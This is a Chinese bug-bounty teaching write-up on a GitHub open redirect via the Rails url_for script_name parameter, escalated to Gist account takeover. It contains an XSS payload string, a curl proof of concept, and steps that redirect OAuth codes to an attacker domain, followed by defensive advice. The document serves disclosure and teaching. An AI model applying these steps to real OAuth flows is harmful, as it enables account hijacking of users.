挖洞经验 | 利用开放重定向漏洞劫持GitHub Gist账户
字数 979 2025-08-15 21:32:18
GitHub开放重定向漏洞分析与利用教学文档
漏洞概述
本教学文档详细分析GitHub平台中存在的一个开放重定向漏洞,该漏洞最终可导致GitHub Gist账户劫持。漏洞发现者通过该漏洞获得了$10,000的漏洞赏金。
漏洞发现过程
初始研究
- 研究者针对GitHub进行了安全测试,重点关注CSRF token绕过
- 研究了GitHub中URL生成的各种方法函数,特别是
url_for方法 - 发现通过用户可控哈希(controllable hash)进行
url_for方法调用的可能性
url_for方法分析
url_for方法的关键选项参数:
:only_path - 如果为true,返回相对URL,默认为false
:protocol - 连接协议,默认为'http'
:host - 指定连接的主机
:subdomain - 指定子域名
:domain - 指定域名
:tld_length - 顶级域名标签数量
:port - 指定端口
:anchor - 附加在路径后的anchor名称
:params - 附加请求参数
:trailing_slash - 是否在末尾添加'/'
:script_name - 相对于网站根目录的应用程序路径
关键发现
- 构造形如
?script_name=javascript:alert(1)//的请求字符串可导致XSS漏洞 - 虽然可能被CSP策略阻拦,但证明了参数可控的潜在风险
开放重定向漏洞
漏洞代码分析
在应用程序控制器中:
before_action :check_source
def check_source
source = params["source"]
return redirect_to(check_source_redirect_url) if source == "message"
end
def check_source_redirect_url
query = Addressable::URI.parse(request.env["REQUEST_URI"]).query_values
filtered_params = query.except("source", "token").merge(only_path: true)
url_for(filtered_params)
end
漏洞利用方法
- 使用
script_name参数控制重定向目标 - 示例请求:
curl -i 'http://local.dev?source=message&script_name=ggg' - 响应中的重定向位置可控:
Location: http://local.devggg/welcome/index
漏洞升级利用 - Gist账户劫持
OAuth流程分析
GitHub Gist的OAuth登录流程:
-
初始授权请求:
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https://gist.github.com/auth/github/callback -
回调流程:
https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY → https://gist.github.com/auth/github → https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback&response_type=code&state=ZZZ → https://gist.github.com/auth/github/callback?browser_session_id=XXX&code=YYY&state=ZZZ → https://gist.github.com/
攻击所需参数
browser_session_idcodestate(攻击者可自行生成)
实际攻击步骤
-
在初始重定向中注入
script_name参数:script_name=.attacker-domain -
获取到包含敏感参数的重定向:
https://attacker-domain?browser_session_id=XXX&code=YYY -
通过
https://gist.github.com/auth/github/callback获取有效的state参数 -
组合所有参数实现Gist账户劫持
漏洞影响范围
- 影响几乎所有GitHub控制器路径
- 仅限于GitHub Gist服务(与主GitHub服务会话token不同)
- 无法影响github.com主站账户
防御建议
- 对
url_for方法的script_name参数进行严格验证 - 限制重定向目标域名白名单
- 对OAuth流程中的敏感参数加强保护
- 实现完整的CSRF防护机制
总结
该漏洞展示了开放重定向如何升级为更严重的账户劫持漏洞。通过精心构造的script_name参数,攻击者能够拦截OAuth流程中的敏感参数,最终实现Gist账户的未授权访问。这强调了即使是看似低危的开放重定向漏洞,在特定上下文中也可能造成严重后果。